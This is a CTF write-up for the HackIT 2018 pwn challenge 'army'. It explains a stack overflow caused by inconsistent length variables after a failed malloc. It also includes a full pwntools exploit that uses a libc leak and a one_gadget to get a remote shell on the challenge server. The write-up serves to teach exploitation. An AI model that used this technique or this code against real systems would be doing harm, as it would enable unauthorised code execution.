Tags: malloc 

Rating:

**Description**

> Welcome to the Army. Go get your promotion !!
>
> `nc 185.168.131.122 6000`

**Files provided**

- [army](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-08-HackIT-CTF/files/army)

**Solution** (by [Mem2019](https://github.com/Mem2019))

The problem is here in `create`

```c
v4 = malloc(v5);
if ( v4 )
{
printf("Enter your description: ", nptr);
v3 = (char *)malloc(v5);
read(0, v3, v5);
v7->descript = v3;
v7->des_len = v5;
g_des_len = v7->des_len;
}
else
{
puts("Malloc error"); // logic problem
//return here
}
```

If the malloc fails, the `g_des_len` and `v7->des_len` are not updated, so they can have inconsistent value

However, in `delete`

```c
signed __int64 delete()
{
int v1; // eax
void *v2; // rsp
__int64 v3; // [rsp+0h] [rbp-30h]
int v4; // [rsp+Ch] [rbp-24h]
void *buf; // [rsp+10h] [rbp-20h]
__int64 v6; // [rsp+18h] [rbp-18h]

if ( !if_created )
return 0LL;
v1 = me->des_len;
v6 = v1 - 1LL;
v2 = alloca(16 * ((v1 + 15LL) / 0x10uLL)); // 8 up
buf = &v3;
printf("Enter your answer : ", v1, (v1 + 15LL) % 0x10uLL, 16LL, v1, 0LL);
v4 = g_des_len;
read(0, buf, g_des_len);
puts("So trolled man, Imma demote you. Now you will be junior to your friends hahahaha so embarrasing.");
free(me->name);
free(me->descript);
//...
}
```

it uses `me->des_len` to do stack allocation but uses `g_des_len` as the size, so this could cause overflow, and there is no canary.

The way to control `g_des_len` is easy, it's just length of last description

How can we control `me->des_len`? well, the soldier struct will be allocated from 0x30 fastbin, and this will be the previous `me->name` if the length of descript is not 0x30 fastbin, which is contollable.

PS: the `g_des_len` is `char`, but `me->des_len` is `int`; however, this does not seems to be exploitable.

exp:

```python
from pwn import *

g_local=True
context.log_level='debug'

ONE_GADGET_OFF = 0x4526a
if g_local:
e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
sh = process('./army')#env={'LD_PRELOAD':'./libc.so.6'}
#gdb.attach(sh)
else:
sh = remote("185.168.131.122", 6000)
e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
#ONE_GADGET_OFF = 0x4557a

def create(descrip, length):
sh.send("1\n")
sh.recvuntil("Enter name: ")
sh.send("1\n".ljust(0x23, "\x00"))
sh.recvuntil("Enter height: ")
sh.send("1\n")
sh.recvuntil("Enter weight: ")
sh.send("1\n")
sh.recvuntil("Enter length of answer: ")
sh.send(str(length) + "\n")
if descrip:
sh.recvuntil("Enter your description: ")
sh.send(descrip)
sh.recvuntil("3. I think I deserve a promotion\n")

def delete(answer):
sh.send("3\x00\x00\x00")
sh.send(answer)
sh.recvuntil("3. I think I deserve a promotion\n")

sh.recvuntil("Beginner's Luck : ")
leak = sh.recvuntil("\n")
libc_addr = u64(leak[:len(leak)-1] + "\x00\x00") - e.symbols["puts"]
print hex(libc_addr)
sh.recvuntil("3. I think I deserve a promotion\n")

create("123", 0x7F)
delete("111")
create(None, -1)
sh.send("3\x00\x00\x00" + (cyclic(56) + p64(libc_addr + ONE_GADGET_OFF)).ljust(0x7F, "\x00"))
sh.interactive()
```

Original writeup (https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-08-HackIT-CTF/README.md#741-pwn--army).